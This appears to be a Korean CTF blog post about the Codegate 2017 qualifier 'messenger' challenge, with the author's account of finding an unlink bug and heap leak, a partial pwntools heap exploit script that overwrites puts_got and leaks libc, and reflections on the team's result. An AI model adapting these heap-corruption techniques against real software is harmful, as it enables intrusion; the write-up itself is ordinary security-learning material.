하.. 이건 사연이 많다..
먼저
malloc과 free가 usercode로 프로그래밍 되어 있었다.
분석해서 free에서 unlink코드가 있다는 걸 알아냈고, 채팅방에 말했다.
heap 릭은 message수정할때 사이즈 체크를 안해서 따올 수 있었는데, 내가 분석할 동안 그부분부터 짜던
친구가 나보다 먼저 익스를 짜버렸다.. 이치에 맞긴 하지만 좀 속상했다....본선은 못갈듯 싶다
그 친구는 got에 쉘코드 주소를 올렸지만
(heap에 실행권한)
나는 messenger heap주소가 잇는 bss에 exit_got를 올리고
libc릭한다음
exec_comm으로 원콤 내려했다.
릭까지하고 exec_comm 주소 찾고 있었는데,,
속상해서 멈췃다 암튼 익스 거기 까지 짰다. 못보겠다. ㅎㅣㅇ
from pwn import *
#raw_input()
import time
def leave(size,message):
p.sendline('L')
p.recvuntil('size : ')
p.sendline(str(size))
p.recvuntil('msg : ')
p.sendline(message)
def remove(ind):
p.sendline('R')
p.recvuntil('index : ')
p.sendline(str(ind))
def change(ind,size,message):
p.sendline('C')
#time.sleep(1)
p.recvuntil('index')
p.sendline(str(ind))
#p.interactive()
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('msg : ')
p.send(message)
p=process('./messenger')
raw_input()
leave(10,'AAAA')
p.recvuntil('>>')
leave(30,'BBBB')
p.recvuntil('>>')
change(0,32,'A'*32)
p.recvuntil('>>')
p.sendline('V')
p.recvuntil('index')
p.sendline('0')
p.recvuntil('A'*32)
heapleak=u64(p.recv(4).ljust(8,'\x00'))
print hex(heapleak)
s=''
s+=p64(1)*3
s+=p64(0x90909090)
puts_got=0x0602018
s+=p64(0x6020c0-16)
s+=p64(puts_got) #message1
change(0,48,s)
remove(1)
p.recvuntil('>>')
p.sendline('V')
p.recvuntil('index')
p.sendline('0')
print p.recv(6)
libcleak=u64(p.recv(6).ljust(8,'\x00'))
print hex(libcleak)
p.interactive()
자투리 대회 후기..
왤케 푼 문제들이 다 타이밍이 어긋나는지..ㅠㅠㅠ 결국은 아무것도 못푼 셈이 되버렸다..
그래도 행운은 보존된다고 했으니 다음에 더 큰 기회가 찾아 올것이고 더 공부 재밋게 또 열심히 해서 꽉 잡으면 될 것같다!
결과는 무시무시한 선배님들의 캐리로 대학생부 5등으로 마무리했다. 참 어찌 그리 잘하는지.. 신기하고 자랑스럽기도 하고 존경스럽기도 하고 이기고 싶기도 하고..
속상한데 교훈은 많다.. 뭔가 ctf를 넘어선 인생교훈..?
아무튼 결론은 타이밍이나 엉뚱한 이유로 묻히는 것 역시 결국 실력 부족이니 앞으로 더 열심히 해야겠다.
'CTF' 카테고리의 다른 글
| [codegate 2017 prequal]hunting (0) | 2017.02.13 |
|---|---|
| [codegate17 prequal]hello protector (0) | 2017.02.12 |
| [codegate17 prequal]angrybird (0) | 2017.02.11 |
| [HITCON2014]stkof (0) | 2017.02.07 |
| [codegate2016]bugbug (0) | 2017.02.02 |